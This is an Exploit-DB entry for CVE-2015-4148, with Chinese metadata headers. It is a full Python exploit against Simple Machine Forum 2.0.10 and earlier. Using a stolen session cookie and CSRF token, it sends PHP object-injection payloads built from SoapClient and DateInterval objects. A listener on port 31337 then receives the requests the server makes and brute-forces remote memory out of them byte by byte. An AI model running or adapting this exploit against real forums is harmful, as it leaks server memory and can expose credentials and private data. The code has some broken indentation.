标题: SMF (Simple Machine Forum) 2.0.10 - Remote Memory Exfiltration EDB-ID: 38304 CVE: 2015-4148 类型: WEBAPPS 平台: PHP 发布日期: 2015-09-24 漏洞利用脚本: #!/usr/bin/python
# -*- coding: iso-8859-15 -*-

#############################################################################
# Title:     SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
# Authors:   Andrea Palazzo  
#     <andrea [dot] palazzo [at] truel [dot] it> 
#            Filippo Roncari 
#     <filippo [dot] roncari [at] truel [dot] it>
#            Truel Lab ~ http://lab.truel.it
# Requirements: SMF <= 2.0.10
#    PHP <= 5.6.11 / 5.5.27 / 5.4.43
# Advisories: TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
#    TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
#    TL-2015-SMF01 n/y/a
# Details:  http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
# Demo:   https://www.youtube.com/watch?v=dNRXTt7XQxs
############################################################################


import sys, requests, time, os, socket, thread, base64, string, urllib
from multiprocessing import Process

#Payload Config
bytes_num = 000 #num of bytes to dump
address = 000 #starting memory address

#Target Config
cookie = {'PHPSESSID' : '000'} #SMF session cookie
target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
csrftoken = ''

#Local Server Config
host = "localhost"
port = 31337

#Memory dump variables 
dumped = ''
current_dump = ''
in_string = False
brute_index = 0
brute_list = list(string.ascii_letters + string.digits)
r_ok = 'HTTP/1.0 200 OK' + '\n'
r_re = 'HTTP/1.0 302 OK' + '\n'
r_body = '''Server: Truel-Server
Content-Type: text/xml
Connection: keep-alive
Content-Length: 395

<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
 <env:Header>
  <n:alertcontrol xmlns:n="http://example.org/alertcontrol">
   <n:priority>1</n:priority>
   <n:expires>2001-06-22T14:00:00-05:00</n:expires>
  </n:alertcontrol>
 </env:Header>
 <env:Body>
  <m:alert xmlns:m="http://example.org/alert">
   <m:msg>Truel</m:msg>
  </m:alert>
 </env:Body>
</env:Envelope>'''


def serverStart():
 print "[+] Setting up local server on port " + str(port)
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 if not sock:
  print "[X] Fatal Error: Unable to create socket"
 sock.bind((host, port))
 sock.listen(1) 
 return sock

def getToken():
 global csrftoken
 print "[+] Trying to get a valid CSRF token"
 for n in range(3): #3 attempts
  r = requests.get(target_host, cookies=cookie, allow_redirects=False)
  r = r.text
  if(r.find("action=logout;")!=-1):
   break
 start = r.find("action=logout;")
 if (start !=-1):
  end = (r[start+14:]).find('">')
  csrftoken = r[start+14 : start+end+14]
  print "[+] Authentication done. Got token " + str(csrftoken)
  return True
 else:
  print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
  return False

def prepareForExploit():
 if not(getToken()): #get CSRF token
  os._exit(1)
 target = target_host + '?action=suggest&' + csrftoken + '&search_param=test' 
  r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
  return

def forgePayload(current_try, address):
 location = "http://" + current_try
 payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
 return payload

def sendPayload(payload,null):
  target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
  try:
  r = requests.get(target, cookies=cookie, allow_redirects=False)
 except requests.exceptions.RequestException:    
  print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
  os._exit(1) 
 return 

def limitReached(dumped):
 if(len(dumped) >= bytes_num):
  return True
 else:
  return False

def printDumped(dumped):
 d = "    "
 cnt = 1
 print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
 print "[+] ======================= Dumped Data ======================="
 for i in range(bytes_num):
  d = d + str(dumped[i])
  if (cnt % 48 == 0):
   print d 
   d = "    "
  if (cnt == bytes_num):
   print d
  cnt = cnt + 1

def getSoapRequest(sock):
 connection, sender = sock.accept()
 request = connection.recv(8192) 
 return (connection, request)

def sendSoapResponse(connection, content):
 connection.send(content)
 connection.close()
 return

def getDumpedFromHost(request):
 i = request.find("Host: ") + 6
 v = request[i:i+1]
 return v

def pushDumped(value, string):
 global dumped
 global current_dump
 global brute_index
 global address
 global in_string

 dumped = str(value) + str(dumped) 
 if(string):
  current_dump = str(value) + str(current_dump)
 else:
  current_dump = ""
 in_string = string
 address = address-1
 brute_index = 0
 print "[" + hex(address) + "] " + str(value)
 return

def bruteViaResponse(sock):
 global brute_index
 current_try = ""
 response_ok = r_ok + r_body

 for n in range(19):
  connection, request = getSoapRequest(sock)
  if not request:
   connection.close()
   return False
  if request.find("owned")!=-1:
   pushDumped(getDumpedFromHost(request), True)
   sendSoapResponse(connection,response_ok)
   return True
  else:
   if((brute_index+1) == len(brute_list)):
    sendSoapResponse(connection,response_ok)
    return False
   brute_index = brute_index + 1
  if not in_string:
   current_try = brute_list[brute_index]
  else:
   current_try = brute_list[brute_index] + str(current_dump)
  response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
  sendSoapResponse(connection,response_re)
 connection, request = getSoapRequest(sock)
 if request.find("owned")!=-1:
  pushDumped(getDumpedFromHost(request), True)
  sendSoapResponse(connection,response_ok)
  return True
 sendSoapResponse(connection,response_ok)
 return False

def bruteViaRequest(sock):
 global brute_index
 brute_index = 0
 current_try = ""

 while(True): 
  if(brute_index == len(brute_list)):
   pushDumped(".", False)
  if limitReached(dumped):
   printDumped(dumped)
   return 
  if not in_string:
   current_try = brute_list[brute_index]
  else:
   current_try = brute_list[brute_index] + str(current_dump)
  payload = forgePayload(current_try,address)
  thread.start_new_thread(sendPayload,(payload,""))
  if not bruteViaResponse(sock):
   brute_index = brute_index + 1
 return  

def runExploit():
 print "[+] Starting exploit"
 sock = serverStart()
 prepareForExploit()
 print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
 bruteViaRequest(sock)
 sock.close()
 print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
 sys.exit(0)


runExploit() URL: https://www.exploit-db.com/exploits/38304